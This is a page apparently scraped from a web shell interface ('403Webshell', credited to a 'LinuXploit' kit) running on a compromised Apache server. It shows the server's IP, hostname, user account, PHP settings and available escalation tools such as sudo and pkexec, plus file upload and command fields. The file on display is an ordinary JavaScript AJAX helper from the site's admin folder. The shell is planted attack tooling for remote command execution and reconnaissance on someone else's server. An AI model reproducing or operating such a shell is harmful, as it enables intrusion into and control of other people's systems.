403Webshell
Server IP : 208.122.213.31  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux msd6191.mjhst.com 4.18.0-553.137.1.el8_10.x86_64 #1 SMP Wed Jun 24 11:40:24 UTC 2026 x86_64
User : WHMCS_MIA_382 ( 1001)
PHP Version : 7.4.33
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/httpd/html/tits-bigtits.com/magnumtrade/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/httpd/html/tits-bigtits.com/magnumtrade/admin/genericajaxobject.js
		/*
			Typically we use ajax to update an html element. Use this object so that you can retrieve the ajax response without having to update an html 
			element. Pass to the object a unique id as well as a function that should be called once the ajax response has returned. The function will be
			passed the parsed response.
		*/
		function GenericAjaxObject(id,userfunction)
		{
			this.id=id;
			this.responseText=null;
			this.responseElement=null;
			this.responseId=null;
			this.returnCode=null;
			this.ajaxUpdate=ajaxUpdate;
			this.getResponseTxtMozilla=getResponseTxtMozilla;
			this.getResponseTxtIE=getResponseTxtIE;
			this.userfunction=userfunction;
		}
		function ajaxUpdate(responseElement)
		{
			this.responseElement=responseElement;
			if(responseElement.xml != undefined)
				this.responseText=this.getResponseTxtIE(responseElement);
			else
				this.responseText=this.getResponseTxtMozilla(responseElement);
			this.returnCode=responseElement.getAttribute("returncode");
			this.responseId = responseElement.getAttribute("id");			
			this.userfunction(this.responseId, this.responseText, this.returnCode);

		}
		function getResponseTxtIE(responseElement)
		{
			var txt="";
			for(var i=0; i< responseElement.childNodes.length; i++)
				txt+=responseElement.childNodes[i].xml;

			var usecdata=responseElement.getAttribute("usecdata");
			if(usecdata)
			{
				if(txt.substring(0,9)=="<![CDATA[")
					txt=txt.substring(9, txt.length-3);
				else if(txt.substring(0,11)=="<!--[CDATA[")
					txt=txt.substring(11, txt.length-3);
			}
			return txt;
		}
		function getResponseTxtMozilla(responseElement)
		{
			//var xmlSerializer = new XMLSerializer();
			var txt="";
			for(var i=0; i<responseElement.childNodes.length; i++)
				txt+=responseElement.childNodes[i].nodeValue;

			//txt+=xmlSerializer.serializeToString(responseElement.childNodes[i]);
			
			var usecdata=responseElement.getAttribute("usecdata");
			if(usecdata)
			{
				if(txt.substring(0,9)=="<![CDATA[")
					txt=txt.substring(9, txt.length-3);
				else if(txt.substring(0,11)=="<!--[CDATA[")
					txt=txt.substring(11, txt.length-3);
			}
			return txt;

		}

Youez - 2016 - github.com/yon3zu
LinuXploit